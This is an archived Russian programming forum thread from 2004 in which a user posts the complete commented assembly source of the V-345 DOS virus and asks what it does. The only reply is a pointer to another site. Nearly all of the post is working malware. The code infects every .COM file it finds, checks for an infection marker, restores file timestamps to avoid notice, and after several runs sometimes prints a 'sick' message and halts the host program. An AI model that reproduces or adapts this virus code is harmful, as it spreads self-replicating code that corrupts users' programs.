Logo Море(!) аналитической информации!
IT-консалтинг Software Engineering Программирование СУБД Безопасность Internet Сети Операционные системы Hardware
Архив форумов ЦИТФорума
Море(!) вопросов - Море(!) ответов
 
 FAQFAQ   ПоискПоиск   ПользователиПользователи   ГруппыГруппы   РегистрацияРегистрация 
 ПрофильПрофиль   Войти и проверить личные сообщенияВойти и проверить личные сообщения   ВходВход 
Как правильно задавать вопросы

Вирус на ASM

 
Перейти:  
Этот форум закрыт, вы не можете писать новые сообщения и редактировать старые.   Эта тема закрыта, вы не можете писать ответы и редактировать сообщения.    Список форумов Архив форумов ЦИТФорума -> Программирование
Предыдущая тема :: Следующая тема  
Автор Сообщение
Madgeniy
Гость





СообщениеДобавлено: Пн Ноя 01 2004 18:06    Заголовок сообщения: Вирус на ASM Ответить с цитатой

Здравствуйте, не могли бы вы мне помочь поподробнее разобраться, что это за вирус и чего он делает?

page ,132
name V345
title V-345 - a mutation of the V-845 virus
.radix 16


code segment ; эта часть программы остается резидентной
assume cs:code,ds:code ; связывание регистров cs и ds с code
org 100H ; данная программа записана как файл типа *.com – остальная
;часть программы – перемещаемый сегмент команд

timer equ 6C ; константы
dta equ 80
ftime equ offset dta + 16
fdate equ offset dta + 18
fname equ offset dta + 1E
virlen = offset endcode - offset start
newid = offset ident - offset start

start: ; метка начала программы
jmp short virus ; короткий переход (IP)(IP)+8-битное смещение, опр. virus


ident dw 'VI'
counter db 0
allcom db '*.COM',0
progbeg dd ?
eof dw ?

virus: ; метка virus
push ax ; помещение данных в стек
mov ax,cs ; перемещение сегмента кода в ax
mov es,ax ; помещение в дополнительный сегмент данных
inc [counter] ; увеличение счетчика
mov si,offset start ; помещаем в si смещение start’а (анал. lea si,start)
xor di,di ; ксорим di с di
mov cx,virlen ; место, на которое переносится загрузчик dos
rep movsb ; перенесение загрузчика

mov dx,offset allcom ;Ищем *.com файлы
mov cx,110b ;с различными атрибутами
mov ah,4E ;находим первый файл
int 21
jc done ;выходим, если не найден файл

mainlp:
mov dx,fname
mov ax,3D02 ;открываем файл для чтения/записи
int 21
mov bx,ax ;сохраняем заголовок
push es
pop ds
mov dx,virlen
mov cx,0FFFF ;читаем все байты (максимум 64 в *.com файле)
mov ah,3F ;читаем из заголовка байты
int 21
add ax,virlen
mov cs:[eof],ax ;сохраняем указатель на конец файла
cmp ds:[newid+virlen],'VI' ;зараженный?
je close ;если так, то идем на следующий файл

xor cx,cx ;идем к началу файла
mov dx,cx
mov ax,4200 ;установка текущей позиции от начала файла
int 21
jc close ;покидаем файл, если встречаются ошибки

xor dx,dx ;пишем весь код (virus+file)
mov cx,cs:[eof] ;возвращаемся на файл
mov ah,40 ;пишем в заголовок
int 21

mov cx,cs:[ftime] ;устанавливаем дату и время
mov dx,cs:[fdate]
mov ax,5701
int 21

close:
mov ah,3E ;закрываем файл
int 21

push cs
pop ds ;восстанавливаем ds
mov ah,4F ;ищем следующий файл
int 21
jc done ;выходим, если все найдено
jmp mainlp ;иначе повторяем снова

done:
cmp [counter],5 ;если счетчик более 5,
jb progok ;то программа «заболевает»
mov ax,40
mov ds,ax ; берем значение системного таймера
mov ax,word ptr ds:[timer]
push cs
pop ds
and ax,1 ; если значение таймера четно
jz progok ; то переходим на progok
mov dx,offset message
mov ah,9 ;печать message
int 21
int 20 ;закончить программу

message db 'I am sorry, program is sick, please call doctor… '


progok:
mov si,offset transf ;помещаем в si смещение transf
mov cx,offset endcode - offset transf ;длину кода – в cx
xor di,di ;Move to ES:0
rep movsb ;Do it

pop bx ; BX = прежений AX
mov word ptr cs:[progbeg],0
mov word ptr cs:[progbeg+2],es ;указатель progbeg на начало программы
jmp cs:[progbeg] ;перейти к началу программы

transf:
push ds
pop es
mov si,offset endcode
mov di,offset start
mov cx,0FFFF ;восстановление оригинального программного кода
sub cx,si ; вычесть из cx si и записать в cx (место…)
rep movsb
mov word ptr cs:[start],offset start
mov word ptr cs:[start+2],ds
mov ax,bx
jmp dword ptr cs:[start] ;переходим на начало программы
endcode label byte

int 20H

code ends
end start
Вернуться к началу
VXc
Гость





СообщениеДобавлено: Пн Ноя 01 2004 22:58    Заголовок сообщения: Ответить с цитатой

http://wasm.ru
Спроси там...
Вернуться к началу
Показать сообщения:   
Этот форум закрыт, вы не можете писать новые сообщения и редактировать старые.   Эта тема закрыта, вы не можете писать ответы и редактировать сообщения.    Список форумов Архив форумов ЦИТФорума -> Программирование Часовой пояс: GMT + 3
Страница 1 из 1

 
Перейти:  
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах


Powered by phpBB © 2001, 2002 phpBB Group
Русская поддержка phpBB

 

IT-консалтинг Software Engineering Программирование СУБД Безопасность Internet Сети Операционные системы Hardware

Информация для рекламодателей PR-акции, размещение рекламы — adv@citforum.ru,
тел. +7 495 6608306, ICQ 232284597
Пресс-релизы — pr@citforum.ru
Послать комментарий
Информация для авторов
This Web server launched on February 24, 1997
Copyright © 1997-2000 CIT, © 2001-2006 CIT Forum
Внимание! Любой из материалов, опубликованных на этом сервере, не может быть воспроизведен в какой бы то ни было форме и какими бы то ни было средствами без письменного разрешения владельцев авторских прав. Подробнее...